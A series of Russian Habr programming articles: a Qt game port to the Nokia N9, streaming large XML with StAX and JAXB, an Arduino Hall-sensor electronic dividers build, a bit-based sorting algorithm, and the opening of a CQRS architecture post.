#### Обработка ввода
Поскольку я не использовал multi-touch, мне хватило переопределить [QWidget::mousePressEvent](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#mousePressEvent), [QWidget::mouseMoveEvent](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#mouseMoveEvent) и [QWidget::mouseReleaseEvent](http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#mouseReleaseEvent)
```
void Widget::mousePressEvent(QMouseEvent *e)
{
QGLWidget::mousePressEvent(e);
float y = height() - e->y();
m_mouseDown = true;
Application::instance().touch(e->x(), y);
}
void Widget::mouseReleaseEvent(QMouseEvent *e)
{
QGLWidget::mouseReleaseEvent(e);
float y = height() - e->y();
m_mouseDown = false;
Application::instance().release(e->x(), y);
}
void Widget::mouseMoveEvent(QMouseEvent *e)
{
QGLWidget::mouseMoveEvent(e);
if (m_mouseDown)
{
float y = height() - e->y();
Application::instance().drag(e->x(), y);
}
}
```
Обратите внимание на стоку «float y = height() — e->y()». Она для того, чтобы переводить значения «y» из системы коортинат QWidget в Декартову.
#### Игровой цикл
Для реализации простейшего игрового цикла я сделал следующее:
а) переопределил [QObject::timerEvent](http://developer.qt.nokia.com/doc/qt-4.8/qobject.html#timerEvent)
```
void Widget::timerEvent(QTimerEvent *)
{
Application::instance().simulate(); // game logic
update(); // repaint
}
```
б) при старте игры
```
m_timerId = startTimer(0);
```
в) при переходе игры в состояние паузы
```
killTimer(m_timerId);
```
#### Пауза
Когда пользователь сворачивает игру, необходимо перейти в режим «паузы»:
a) переопределить [QObject::eventFilter](http://developer.qt.nokia.com/doc/qt-4.8/qobject.html#eventFilter)
```
bool Widget::eventFilter(QObject* object, QEvent* event)
{
if (event->type() == QEvent::ActivationChange)
{
if (isActiveWindow())
{
resume(); // start timers, resume music
}
else
{
pause(); // kill timers, pause music
}
}
return QWidget::eventFilter(object, event);
}
```
б) установить фильтр событий
```
int main(int argc, char** argv)
{
QApplication a(argc, argv);
Widget w;
w.show();
a.installEventFilter(&w);
return a.exec();
}
```
Когда я впервые отправил игру на модерацию в Ovi Store, QA обнаружили баг — приложение не разворачивалось, если его свернуть и попытаться запустить заново нажатием на .desktop иконку:
**The application cannot back to front via clicking application icon after suspending the application in background.**
Я был очень удивлен таким поведением, игра нормально разворачивалась из экрана запущеных приложений (Open Apps Screen), но при нажатии на иконку ничего не происходило. Поиск решения этой проблемы был неудачен, все что удалось найти — это [MeeGo Harmattan application lifecycle](http://harmattan-dev.nokia.com/docs/library/html/guide/html/Developer_Library_Essential_concepts_for_Harmattan_developers_Application_fundamentals_Application_lifecycle.html), но увы, опять QML. Stackoverflow молчал, developer.support@nokia.com тоже, пришлось самому искать выход. Я решил проверить, приходят ли какие-нибудь события в QWidget::eventFilter при нажатии на иконку:
```
bool Widget::eventFilter(QObject *object, QEvent *event)
{
if (event->type() == QEvent::ActivationChange)
{
if (isActiveWindow())
{
resume();
}
else
{
pause();
}
}
qDebug() << event->type();
return QWidget::eventFilter(object, event);
}
```
Оказалось, приходит событие с кодом 50. Посмотрел, что это за событие:
**[QEvent::SockAct](http://developer.qt.nokia.com/doc/qt-4.8/qevent.html#Type-enum) — Socket activated, used to implement QSocketNotifier.**
WTF? Какой сокет?! Ведь моя игра не выходит в интернет. Знающие, подскажите, пожалуйста. Самое смешное — это единственное событие, за которое я мог зацепиться, что я и сделал:
```
bool Widget::eventFilter(QObject *object, QEvent *event)
{
if (event->type() == QEvent::ActivationChange)
{
if (isActiveWindow())
{
resume();
}
else
{
pause();
}
}
else if (event->type() == QEvent::SockAct) // pure magic
{
activateWindow();
resume();
}
return QWidget::eventFilter(object, event);
}
```
#### Вибро
Для добавления вибро-эффектов нужно:
а) добавить следующие строчки в .pro файл
```
CONFIG += mobility
MOBILITY += feedback
```
б) подключить необходимый заголовочный файл
```
#include
```
в) создать объект эффекта
```
QFeedbackHapticsEffect vibro;
vibro.setAttackIntensity(0.0);
vibro.setAttackTime(40);
vibro.setIntensity(0.5);
vibro.setDuration(80);
vibro.setFadeTime(40);
vibro.setFadeIntensity(0.0);
```
г) в нужный момент вызвать
```
vibro.start();
```
Тут вроде все просто, но изначально я хотел добиться такого вибро эффекта, как при нажатии на кнопки виртуальной клавиатуры в Nokia N9. Если кто-то знает, как это сделать — поделитесь, пожалуйста.
#### Ресурсы
Мне не хотелось упаковывать ресурсы в .rc файл, потому как папка с ресурсами у меня общая для Android/Desktop/MeeGo и находится она на два уровня выше, в то время как QtCreator требует, чтобы все ресурсы находились внутри папки с проектом (немного странное требование, не находите?)
Поэтому я пошел по другому пути и добавил правило для копирования ресурсов в .pro файл:
```
assetsDir.source = ../../assets
DEPLOYMENTFOLDERS = assetsDir
installPrefix = /opt/$${TARGET}
for(deploymentfolder, DEPLOYMENTFOLDERS) {
item = item$${deploymentfolder}
itemfiles = $${item}.files
$$itemfiles = $$eval($${deploymentfolder}.source)
itempath = $${item}.path
$$itempath = $${installPrefix}/$$eval($${deploymentfolder}.target)
export($$itemfiles)
export($$itempath)
INSTALLS += $$item
}
```
Теперь все файлы и папки, которые находились в ../../assets, будут скопированы на N9 при установке и будут доступны по адресу /opt/foresttd-n9/assets
#### Иконка
Cделать иконку в стиле MeeGo Harmattan легко, если воспользоваться файлом-заготовкой [отсюда](http://harmattan-dev.nokia.com/docs/ux/pages/Development.html) (Icon Templates)
#### Результат
Приложение уже появилось в [Ovi Store](http://store.ovi.com/content/253781), стоимость его 2EUR. Хочется отметить, что это единственная tower defense игра для Nokia N9 в Ovi Store. Процесс QA прошел довольно быстро — игра была на рассмотрении 2 дня и еще 1 день после того, как я пофиксил баг. Бесплатное тестирование вашего приложения инженерами из Nokia — положительный момент.
Хочу выразить благодарность компании Nokia за N9, телефон очень классный.
Также благодарю всех хабравчан за многочисленные багрепорты, отзывы и идеи по улучшению бесплатной версии игры под андроид, на маркете вы сможете найти [обновление с новыми уровнями](https://market.android.com/details?id=com.foresttd.free). | https://habr.com/ru/post/138097/ | null | ru | null |
# JAXB и XSLT с использованием StAX
В одном из проектов понадобилось обрабатывать большие XML файлы, от сотен мегабайт до десятков гигабайт.
Причем выдернуть надо было только некоторые тэги с расположенные на различной «глубине». XSLT «в лоб» ломался от недостатка памяти. Пришлось подумать и вспомнить о потоковом парсере.
Существуют несколько моделей обработки XML. Наиболее известные — DOM и SAX.
DOM грузит весь XML документ, строит его внутреннее представление и предоставляет возможность навигации по всему документу. SAX напротив, читает входной документ и при распознавании элемента вызывает handler'ы для обработки.
В моем случае DOM отпал по причине потребляемой памяти. SAX API построено на handler'ах, в результате код получается менее читабельным. StAX представляет из себя потоковый парсер (как и SAX), но API построено на принципе pull. То есть распознанные элементы «вынимаются» из потока по требованию.
Поскольку структуры данных подпадающие под обработку были весьма сложными и разнообразными, а обработка достаточно нетривиальная, решено было использовать JAXB для перевода во внутреннее представление.
*Данные проекта закрыты NDA, поэтому в статье не используются.*
И так, есть следующий **XML документ**
```
p1\_data\_1
p1\_data\_1
p1\_data\_1
p1\_data\_1
p1\_data\_1
p1\_data\_2
p1\_data\_2
p1\_data\_2
p1\_data\_2
p1\_data\_2
p1\_data\_3
p1\_data\_3
p1\_data\_3
p1\_data\_3
p1\_data\_3
```
из него нужно выделить и обработать тэги dtype\_one, dtype\_two и dtype\_three. Тэги повторяются в документе. Берем **схему документа**
```
xml version="1.0" encoding="UTF-8"?
```
и убеждаемся что в нем есть элементы «element» нужных нам тэгов:
```
```
> *если схемы нет, IDEA отлично может сгенерить ее по xml файлу.*
Это нужно для того, что бы [XJC](http://docs.oracle.com/javase/7/docs/technotes/tools/share/xjc.html) сгенерил аннотацию [@XmlRootElement](http://docs.oracle.com/javase/7/docs/api/javax/xml/bind/annotation/XmlRootElement.html). Проект собирается maven, для вызова XJC используется [maven-jaxb2-plugin](https://java.net/projects/maven-jaxb2-plugin/pages/Home). Для генерации @XmlRootElement для всех «element» в файле схемы, необходимо добавить следующие строки в файл [bindings.xjb](https://github.com/scanban/bigxml/blob/master/xjb/bindings.xjb):
```
```
и подключить его в конфигурации плагина maven-jaxb2-plugin, в [pom.xml](https://github.com/scanban/bigxml/blob/master/pom.xml)
```
${project.basedir}/xjb
```
Теперь собственно к коду, класс [TagEngine](https://github.com/scanban/bigxml/blob/master/src/main/java/examples/processing/TagEngine.java) хранит [список обработчиков тэгов](https://github.com/scanban/bigxml/blob/master/src/main/java/examples/processing/TagProcessor.java) и занимается разбором:
```
public void process(InputStream inputStream) throws FileNotFoundException,
XMLStreamException, TransformerException {
// Создаем XMLStreamReader, поток разбора
XMLInputFactory factory = XMLInputFactory.newFactory();
XMLStreamReader streamReader = factory.createXMLStreamReader(inputStream);
// Стэк тэгов
Stack tagStack = new Stack();
// Пока есть тэги
while (streamReader.hasNext()) {
// Берем следующий
int eventType = streamReader.next();
// Если старт элемента
if(eventType == XMLStreamConstants.START\_ELEMENT) {
// Помещаем в стэк
tagStack.push(streamReader.getName().toString());
// Ищем совпадение с обработчиком
TagProcessor t = processorMap.get(tagStack);
if(t != null) {
// Нашли, обрабатываем
t.process(streamReader);
tagStack.pop();
}
} else if(eventType == XMLStreamConstants.END\_ELEMENT) {
tagStack.pop();
}
}
}
```
Класс [JAXBProcessor](https://github.com/scanban/bigxml/blob/master/src/main/java/examples/processing/JAXBProcessor.java) занимается unmarshalling'ом выделенных элементов. Класс [XSLTProcessor](https://github.com/scanban/bigxml/blob/master/src/main/java/examples/processing/XSLTProcessor.java) вызывает XSLT преобразования. Вот так выглядит класс выполняющий полезную работу:
```
public class DataOne extends JAXBProcessor {
private static final String TAG\_NAME = "data/dtype\_one";
// Конструктор
public DataOne() throws JAXBException, SAXException {
super(DtypeOne.class, TAG\_NAME);
}
// Конструктор с подключением схемы для валидации
public DataOne(String schemaFileName) throws JAXBException, SAXException {
super(DtypeOne.class, TAG\_NAME, schemaFileName);
}
// Здесь обрабатываем полученный из XML объект
@Override
public void doWork(DtypeOne element) {
// System.out.println(element.getP1());
}
}
```
Пример применения XSLT [DataThreeXSLT](https://github.com/scanban/bigxml/blob/master/src/main/java/examples/data/DataThreeXSLT.java).
Пример запуска (эмулируется обработка 277 мегабайтного файла):
```
JAXB unmarshall without schema validation
Runtime: 8034ms, 277000015 bytes processed
Used Memory:80MB
JAXB unmarshall with schema validation
Runtime: 66180ms, 277000015 bytes processed
Used Memory:56MB
XSLT processing
Runtime: 10604ms, 277000015 bytes processed
Used Memory:231MB
```
С памятью все хорошо, валидация конечно сильно тормозит обработку.
**PS.** Для тестов использовал [Mockito](https://code.google.com/p/mockito/) (раньше использовал jmock). Понравилась возможность spy — перехват вызовов и их параметров при работе с живым (не mock) объектом.
**PPS.** Код проекта на [GitHub](https://github.com/scanban/bigxml). | https://habr.com/ru/post/185360/ | null | ru | null |
# Электронный циркуль Тима
[](https://habr.com/ru/company/ruvds/blog/679476/)
Первая из двух статей, посвящённых сборке электронных инструментов на основе датчика Холла. В этой части разбирается простейшая модификация циркуля, включающего в себя один датчик и два магнита. Вторая же часть будет посвящена более сложному инструменту — пантографу (прим. пер.).
Недавно мне пришла в голову идея собрать небольшой инструмент – электронный циркуль – чтобы показать базовые принципы работы датчика эффекта Холла. И в процессе съёмки ролика, демонстрирующего циркуль в действии, я решил также пояснить, как нахожу полюса используемых в этом циркуле магнитов.
Печать всех необходимых деталей я делал на 3D-принтере. В принципе, можно взять и другие материалы, но тут очень важна точность.
Основой проекта выступает датчик Холла 49Е и два магнита. Вычислениями при этом занимается Arduino Nano.
А поскольку AtMega328p оснащён всего лишь 10-битным АЦП, и в вычислениях используется синус, то придётся допустить некоторые погрешности. Результаты я буду выводить на двухстрочный дисплей 1602 с 16 символами на строку.
Если всё пойдёт хорошо, то я планирую реализовать и другие подобные проекты на датчиках Холла, а именно 2D и 3D-инструменты.
▍ Материалы
-----------
* линейный датчик Холла 49E;
* два неодимовых магнита, ширина 5мм, высота 2мм (Север/Юг определяется по оси высоты);
* инструмент для определения полюсов магнитов. Я использовал приложение на телефоне;
* Arduino Nano;
* дисплей 1602 с интерфейсом I2C. (модуль PCF8575);
* кабель;
* клей, я взял УФ-смолу;
* 3D-принтер для печати ножек циркуля.
**Фото компонентов**
Ссылки на STL-файлы для печати:
* [Sensor Arm.stl](https://content.instructables.com/ORIG/FIY/7II0/L4HAX5T8/FIY7II0L4HAX5T8.stl)
* [Magnet Arm.stl](https://content.instructables.com/ORIG/FLF/WZM0/L4HAX5T9/FLFWZM0L4HAX5T9.stl)
▍ Шаг 1: датчик Холла 49E
-------------------------
Датчики Холла выпускают многие компании, хотя большой разницы между ними нет. Ниже я приложил спецификацию, которую нашёл на Honeywell.
Лично я использовал самый дешёвый, какой смог найти в интернете, модель 49E, и пластиковые детали подогнал конкретно под него.
У этого датчика всего три вывода:
* пин 1 = питание (от +2.7 до +6.5В).
* пин 2 = земля (GND).
* пин 3 = аналоговый вывод (обычно на 1 вольт меньше входного напряжения)
Вывод линейный, мВ/Гс.
В спецификации указано направление, в котором датчик определяет силу магнитного поля [N S]. Если двигать магнит ближе-дальше от датчика, то показания будут отражать магнитную силу в указанном направлении.
* [Спецификация 49E\_Hall\_Effect (Honeywell).pdf](https://content.instructables.com/ORIG/FLA/Z9ZQ/L4LBRAVV/FLAZ9ZQL4LBRAVV.pdf)
▍ Шаг 2: магниты
----------------
Для изменения силы магнитного поля вокруг датчика я использую два неодимовых магнита. Направление Север/Юг соответствует верху/низу магнитов, то есть ориентировано по оси высоты.
Разберём, как создаётся поле одним магнитом.
Поле сконцентрировано в его центре, где магнитные линии идут с Юга на Север параллельно. Выходя за края магнита, эти линии изгибаются и в итоге замыкаются с другой стороны — на противоположный полюс.
Если приблизить датчик к любому полюсу и сдвинуть его к одной из сторон, магнитная сила существенно снизится, поскольку линии магнитного поля замкнуты.
Датчики Холла очень чувствительны, поэтому их неточное расположение приведёт к ошибочным показаниям. Нам же нужно сократить возможное количество потенциальных ошибок. Жаль, нельзя разместить датчик внутри самого магнита — было бы идеально. Я же с целью уменьшить вероятность ошибок решил использовать два магнита.
Если расположить эти магниты недалеко друг от друга, то между ними возникнет однородное поле, близкое к такому, что должно быть внутри магнита. И если расположить в этой области датчик, то при повороте магнитов вокруг него поле должно сохранять тот же угол наклона, что и магниты.
▍ Шаг 3: вычисление угла
------------------------
Магниты мы будем вращать вокруг датчика.
Вращение и простое отдаление магнитов от датчика – разные вещи. То есть в результате вращения на выводе мы будем получать не линейный результат, а значение синуса угла, на который происходит поворот.
Для лучшего понимания я сделал чертёж.
* Фиолетовый кружок – это путь, по которому магниты движутся вокруг центра, то есть датчика.
* синие линии представляют углы/позиции магнитов по мере их вращения.
* жёлтыми линиями обозначена линейные силы, которые датчик будет регистрировать с Юга на Север.
* зелёной линией показан график вычисления синусов.
* красная – это зона точности.
Поскольку вывод датчика у нас аналоговый, выходит, что точность ограничена количеством десятичных знаков значения, в которое мы можем эти аналоговые показания конвертировать.
В Arduino Nano используется 10-битный АЦП. У этого микроконтроллера тип `double` аналогичен `float`, который имеет всего 6-7 десятичных знаков. И поскольку у нас происходит вращение, а не удаление магнитов от датчика, выводом будет результат вычисления синуса.
При этом в нашем случае также неизбежны участки, в которых 10-битный АЦП не позволит произвести точные расчёты.
Углы, которые можно вычислить точно, показаны синими линиями с кружочками на конце. Проблемные же углы обозначены линиями с крестиками.
По синусоиде видно, что в крайних положениях вращения в изменении магнитной силы делений градуса получается больше. Для лучшей наглядности я специально указал область точности.
Для охвата этих проблемных зон можно задействовать второй датчик, расположив его под 90° относительно первого. Это позволит использовать только точные области каждого.
В плане математики здесь простая тригонометрия, и я покажу это, когда дело дойдёт до кода.
▍ Шаг 4: сборка циркуля
-----------------------
Я уже сказал, что датчик очень чувствительный, и размещать компоненты необходимо очень чётко. В этом смысле мне помог 3D-принтер, который гарантирует точную печать деталей.
При установке минимальная погрешность в выравнивании допустима, но после фиксации гулять элементы уже не должны. Дополнительно некоторые огрехи в их расположении можно будет компенсировать в коде.
▍ Шаг 5: установка датчика
--------------------------
Датчик нужно вклеить в отведённую для него ножку циркуля (Sensor Arm). В этой детали есть специальное отверстие для определения его правильного положения.
▍ Шаг 6: Ориентация магнитов
----------------------------
Очень важно правильно выставить магниты. Я для этой процедуры использовал приложение на телефоне. Подойдёт такое решение только для устройств с магнитометром. Хотя обычно, если у телефона есть GPS, то и магнитометр тоже должен быть.
Что касается приложения, то из множества вариантов я предпочёл трёхмерный, а именно [3D Compass and Magnetometer](https://play.google.com/store/apps/details?id=com.plaincode.magnetmeter). На изображении показано типичное 3D-приложение, в котором стрелка указывает в направлении севера.
Магнитометры в телефонах не всегда расположены по центру. Лучше всего выяснить его точное положение с помощью магнита, так будет проще разобраться с полюсами.
Зная расположение магнитометра, я обычно располагаю телефон в подвешенном положении над столом и кладу под него магнит, чтобы он оказался ровно под магнитометром, и уже тогда определяю полюса.
▍ Шаг 7: установка магнитов во вторую ножку циркуля
---------------------------------------------------
Здесь придётся немного повозиться.
Прежде чем соединять ножки, убедитесь, что магниты могут перемещаться внутри канавки той, что с датчиком — ходить они в ней должны плотно.
Магниты необходимо зафиксировать в одном положении, обеспечив правильную направленность их полюсов, и наложить внешнюю сторону второй ножки поверх первой.
После соединения подвижными должны быть только сами ножки, сдвигаясь и раздвигаясь, как это и положено циркулю. Никаких других побочных движений или люфтов быть не должно, иначе возникнут ошибки.
▍ Шаг 8: подключение кабеля
---------------------------
Следующим этапом нужно припаять к датчику провода для подключения Arduino.
Мой Arduino установлен на макетной плате, и для соединения с ним я на конце провода использовал разъём DuPont «мама».
Уточнить правильность соединения контактов можно в шаге 1.
▍ Шаг 9: ЖК-дисплей
-------------------
Для отображения показаний датчика я использую двухстрочный ЖК-дисплей с 16 символами на строку. Кроме того, я использовал переходной модуль PCF8575, так что для подключения мне нужны только выводы I2C. К Arduino же я подцепил всё это 4-жильным кабелем с разъёмами типа «мама» (правильно ли я всё понял и выразил?...).
▍ Шаг 10: подключение к Arduino
-------------------------------
Схема подключения к Arduino Nano в программе Fritzing:
Файлы для скачивания:
* [Tims Electrical Deviders.fzz](https://content.instructables.com/ORIG/F7C/5RIN/L4O6HT8R/F7C5RINL4O6HT8R.fzz)
* [Tims Electrical Deviders\_bb.pdf](https://content.instructables.com/ORIG/FEA/IE7C/L4O6HT8S/FEAIE7CL4O6HT8S.pdf)
* [Tims Electrical Deviders\_schem.pdf](https://content.instructables.com/ORIG/FRW/45H3/L4O6HT8T/FRW45H3L4O6HT8T.pdf)
▍ Шаг 11: код
-------------
Если вы уже работали с Arduino Nano, то наверняка также посещали профильный ресурс [Arduino.cc](https://www.arduino.cc/) для изучения различных нюансов.
Для тех же, кто использует устройство с архитектурой Arduino впервые, я сначала рекомендую почитать раздел руководства: [Arduino IDE 2 Tutorials](https://docs.arduino.cc/software/ide-v2)
Здесь можно скачать Arduino IDE и изучить инструкции, написанные самими создателями этой платформы. Помимо прочего, тут же описывается, как загружать скетч на устройство.
Ниже приведён код, который можно скачать в приложенном файле *Tims\_Electronic\_Deviders.ino*.
После скачивания скетча нужно будет поместить его в каталог с тем же именем, но без *.ino*.
**Код**
```
/*
Tims_Electronic_Deviders.ino
By Tim Jackson.1960
Creadits:
Arduino.
LiquidCrystal_I2C based on work by DFRobot.
This is code for: Tim's Electronic Deviders.
I am using 3D Printed Deviders with a 49E Linear Hall Effect Sensor and two Magnets.
I am using an Arduino NANO to calculate the postion of the deviders from the values recived from the 49E Linear Hall Effect Sensor.
The sensor is linear: 3 mV/GS, but to get the angle a Sine of the value is calculated.
S=O/H C=A/H T=O/A
Degrees to Radians = degrees * (PI / 180)
Radians to Degrees = radians * 180.0 / pi
*/
#include
#include
#define Hall\_49R\_Pin A1 // Определение вывода датчика Холла
#define CAL\_0 377 // Показания датчика, когда угол равен 0
#define CAL\_180 690 // Показания датчика, когда угол равен 180
#define CAL\_RANGE (CAL\_180 - CAL\_0) // Максимальная величина CAL - минимальная величина CAL
#define CAL\_RAD ((double)CAL\_RANGE / 2) // Используется в значении синуса H для получения угла.
#define LEG\_LENGTH 99 // Длина ножек циркуля.
#define MAG\_BIOS -3.11 // Установить на нуль, а затем изменить на значение, которое будет корректировать показания в районе 60 градусов.
double Angle = 0; // Переменная для значения Angle.
double Length = 0; // Переменная для значения Length.
int SensorValue = CAL\_0 + 1; // Переменная для значения Sensor.
LiquidCrystal\_I2C lcd(0x27, 16, 2); //20 to 27 // Установка адреса 2-строчного ЖК-дисплея на 0x27.
void setup()
{
Serial.begin(115200); // Запуск Serial.
pinMode(Hall\_49R\_Pin, INPUT); // Определение датчика в качестве Input.
lcd.init(); // Запуск дисплея.
lcd.backlight(); // Включение подсветки.
lcd.setCursor(0, 0); // Установка курсора на начало строки 0 (верхняя строка).
lcd.print(" Angle:"); // Отображение метки Angle на верхней строке.
lcd.setCursor(0, 1); // Установка курсора на начало строки 1 (нижняя строка).
lcd.print("Length:"); // Отображение метки Length на нижней строке.
}
void loop() {
SensorValue = analogRead(Hall\_49R\_Pin); // Считывание значения с датчика.
Serial.println(SensorValue); // Отправка значения на Serial.
CalcAngle(); // Вычисление угла.
CalcLength(); // Вычисление длины.
Serial.println(); // Отправка символа новой строки на Serial для разделения значений.
delay(200); // Ожидание выполнения.
}
/\*
Вычисление Angle на основе значения, полученного от датчика.
S=O/H
Radians to Degrees = radians \* 180.0 / pi
O = SensorValue - CAL\_0 - CAL\_RAD
H = CAL\_RAD
Angle in radians = asin(O / H)
Angle in degrees = Angle in radians \* 180.0 / pi;
\*/
void CalcAngle() {
double O = (double)SensorValue - CAL\_0 - CAL\_RAD;
double H = (double)O / CAL\_RAD;
Angle = 90.0 + (asin(H) \* 180.0 / PI);
Serial.print("Angle ");
Serial.println(Angle + MAG\_BIOS, 4);
lcd.setCursor(7, 0);
lcd.print(" ");
lcd.setCursor(Xpos(Angle + MAG\_BIOS), 0);
lcd.print(Angle + MAG\_BIOS, 3);
lcd.print(" ");
}
/\*
Вычисление Length на основе градусов, вычисленных датчиком.
C=A/H
A=C\*H
Degrees to Radians = degrees \* (PI / 180)
C = (180 - Angle in degrees) / 2
H = LEG\_LENGTH
A = C \* H
Length = A \* 2
\*/
void CalcLength() {
double \_angle = (180.0 - Angle) / 2;
double \_rad = \_angle \* (PI / 180);
double C = cos(\_rad);
double H = LEG\_LENGTH;
Length = C \* H \* 2;
Serial.print("Length ");
Serial.println(Length + MAG\_BIOS, 4);
lcd.setCursor(7, 1);
lcd.print(" ");
lcd.setCursor(Xpos(Length + MAG\_BIOS), 1);
lcd.print(Length + MAG\_BIOS, 3);
lcd.print(" ");
}
/\*
Функция для вычисления положения значения, отображаемого на дисплее.
Проверить, указано ли значение в сотнях, десятках или единицах, чтобы соблюсти выравнивание чисел.
.
\*/
byte Xpos(byte number) {
byte val = 8;
if (number < 100) { val = 9; }
if (number < 10) { val = 10; }
return val;
}
```
* [Tims\_Electronic\_Deviders.ino](https://content.instructables.com/ORIG/F7W/TRQV/L4O6HW17/F7WTRQVL4O6HW17.ino)
▍ Шаг 12: калибровка
--------------------
Перед калибровкой значение `#defined` для `MAG-BIOS` необходимо установить на `0`.
```
#define MAG_BIOS -3.11 // Установить на 0, а затем изменить на значение, корректирующее показания в районе 60 градусов.
```
Для калибровки циркуля должен быть запущен Serial Monitor.
Закройте циркуль и запишите первое число, которое указано над `Angle`.
Откройте циркуль и снова запишите первое число, указанное над `Angle`. (я для соблюдения точных 180° произвожу эти манипуляции, положив циркуль на рабочий стол с разметкой).
Число при раскрытом циркуле, должно быть больше того, что отображалось при закрытом. Если получается наоборот — значит полярность магнитов перепутана.
Измените значения `#defined` для `CAL_0` и `CAL_180` согласно зафиксированным показаниям.
```
#define CAL_0 377 // Показания датчика, когда угол равен 0
#define CAL_180 690 // Показания датчика, когда угол равен 180
```
Ориентируясь на транспортир, выставьте циркуль в положение 60° и запишите отображённую величину угла. Пока циркуль находится в таком положении, с помощью линейки измерьте расстояние между его концами и запишите значение. Ошибка в градусах угла и расстоянии в миллиметрах будет одинаковой.
Измените значение `#defined`, чтобы компенсировать эту ошибку.
```
#define MAG_BIOS 0 // Установить на нуль, а затем на значение, корректирующее показания в районе 60 градусов
```
После калибровки показания будут близки к точным, кроме крайних значений от 0 до 15° и от 165 до 180°.
Дело в том, что в этих областях кривая синусоиды изменяется слабо.
▍ Шаг 13: повышение точности
----------------------------
Выше я продемонстрировал создание простейшего измерительного инструмента и принцип действия датчика Холла.
Модель 49E – это всего лишь один линейный аналоговый датчик, но здесь можно использовать и другие:
* Модель AS5600 представляет собой легко программируемый 12-битный магнитный поворотный датчик положения с аналоговым или PWM-выводом, оснащённый интерфейсом I2C.
* Модель MLX90393 предлагает 16-битный вывод, пропорциональный плотности магнитного потока, регистрируемой вдоль осей X, Y и Z. Можно выбирать между протоколами SPI и I2C.
Более дорогостоящие датчики обеспечат ещё большую точность.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=elektronnyj_cirkul_tima) | https://habr.com/ru/post/679476/ | null | ru | null |
# BitSorting Алгоритм со сложностью О(n)
#### Предыстория
В свободное от работы время решил поразмыслить, а нельзя ли создать алгоритм соритировки который имел бы сложность O(n) не занимал бы много дополнительной памяти и мог бы быть легко распараллелен. И добился некоторого результата.
Представим, что у нас есть следующий набор чисел:
* 123
* 12345
* 22345
* 12345678
* 1
Как мы, будучи людьми будем сортировать этот массив данных? Правильно, будем выбирать самое, визуально длинное, число.
А если длина одинаковая, то будем сравнивать цифры в одном разряде. Я подумал, что можно точно также заставить работать компьютер.
#### Алгоритм
Итак, имеем на входе массив чисел размером N:
```
int[] array = new int[n]
```
Далее, каждый элемент массива представляем в двоичном виде и сохраняем в новом списке:
```
bool[][] bitMatrix = new bool[n][]; //битовая матрица нашего массива
for (int i = 0; i < array.Length; i++)
{
BitArray bitArray = new BitArray (new int[1]{ array [i] });
bool[] bits = new bool[bitArray.Length];
bitArray.CopyTo (bits, 0);
Array.Reverse (bits);
bitMatrix [i] = bits;
}
```
Мы получили следующую матрицу:
Затем следует самая интересная часть: рекурсивная сортировка.
Для начала, давайте посмотрим на то, как бы мы сортировали эту битовую матрицу:
1. Смотрим на первую колонку
2. Выбираем все элементы где первый бит равен 1 в один список
3. Выбираем все элементы где первый бит равен 0 во второй список
4. Повторяем действия 2 и 3 для первого и второго списков, но уже для колонки номер два
Код будет выглядеть следующим образом:
```
private void SortAlgorithm(bool[][] bitMatrix, int columnNumber)
{
List ones = new List ();
List zeros = new List ();
for (int i = 0; i < bitMatrix.Length; i++)
{
if (bitMatrix[i][columnNumber])
ones.Add(bitMatrix[i]);
else
zeros.Add(bitMatrix[i]);
}
columnNumber++;
if (columnNumber == MAX\_COLUMN\_COUNT)//MAX\_COLUMN\_COUNT = sizeof(int)\*8
{
sortedBitMatrix.AddRange(ones);
sortedBitMatrix.AddRange(zeros);
return;
}
if (ones.Count != 0)
SortAlgorithm (ones.ToArray(), columnNumber);
if (zeros.Count != 0)
SortAlgorithm (zeros.ToArray(), columnNumber);
}
```
**sortedBitMatrix** используется для хранения отсортированной битовой матрицы.
Для преобразования битовой матрицы обратно в массив воспользуемся следующим методом:
```
private int[] ConvertBitMatrixToArray(List bitMatrix)
{
int[] resultArray = new int[bitMatrix.Count];
int count = 0;
for (int i = 0; i < bitMatrix.Count; i++)
{
bool[] bits = bitMatrix [i];
Array.Reverse(bits);
BitArray bitArray = new BitArray(bits);
int[] tmpArray = new int[1];
bitArray.CopyTo(tmpArray, 0);
resultArray [count] = tmpArray [0];
count++;
}
return resultArray;
}
```
Результатом метода будет отсортированный массив.
#### А как же распараллеливание?
Так как основная часть времени тратится на прохождение по каждой колонке битовой матрицы в поиске единиц и нулей, то этот процесс можно запустить в нескольких потоках.
Каждый поток будет искать единицы и нули в части матрицы:
#### Сложность
Для сортировки заданного массива нам нужны следующие итерации:
1. Создание битовой матрицы: n
2. Поиск нулей и единиц: 32n
3. Преобразование отсортированной битовой матрицы: n
Итого: 34n, что является O(n)
Интересно Ваше мнение.
Спасибо за внимание.
P.S. [github.com/koljaka/BitSorting](https://github.com/koljaka/BitSorting) | https://habr.com/ru/post/215357/ | null | ru | null |
# Паттерн CQRS: теория и практика в рамках ASP.Net Core 5
Скорость разработки и производительность программистов могут отличаться в зависимости от их уровня и используемых в проектах технологий. Для проектирования ПО нет стандартов и ГОСТов, только вы выбираете, как будете разрабатывать свою программу. Один из лучших способов повысить эффективность работы — применить шаблон проектирования CQRS.
Существует три вида паттерна CQRS: Regular, Progressive и Deluxe. В этой статье я расскажу о первом — классическом паттерне Regular CQRS, который мы используем в DD Planet в рамках разработки онлайн-сервиса «Выберу.ру». Progressive и Deluxe — более сложные архитектуры и влекут за собой использование обширного набора абстракций.
Я поделюсь опытом своей команды: как мы применили паттерн CQRS в бизнес-приложениях и беспроблемно внедрили его в существующие проекты, не переписывая тысячи строк кода.
Классический Onion
------------------
Чтобы было понятно, для чего нужен паттерн CQRS, сначала рассмотрим, как выглядит классическая архитектура приложения.
Классическая «луковая» архитектура состоит из нескольких слоев:
1. **Доменный слой** — наши сущности и классы.
2. **Слой бизнес-логики**, где происходит вся обработка доменной логики.
3. **Слой приложения** — логика самого приложения.
4. **Внешние слои**: слой UI, базы данных или тестов.
Это идеальная архитектура, которая существует множество лет, но она не создает ограничений для связанности компонентов.
Так произошло с нашим сайтом «Выберу.ру». Мы получили спагетти-код, в котором связанность была на очень высоком уровне. Новые разработчики приходили в шок, когда его видели. Самое страшное, что могло случиться — введение нового сотрудника в приложение. Объяснить, что и почему, казалось просто невозможным.
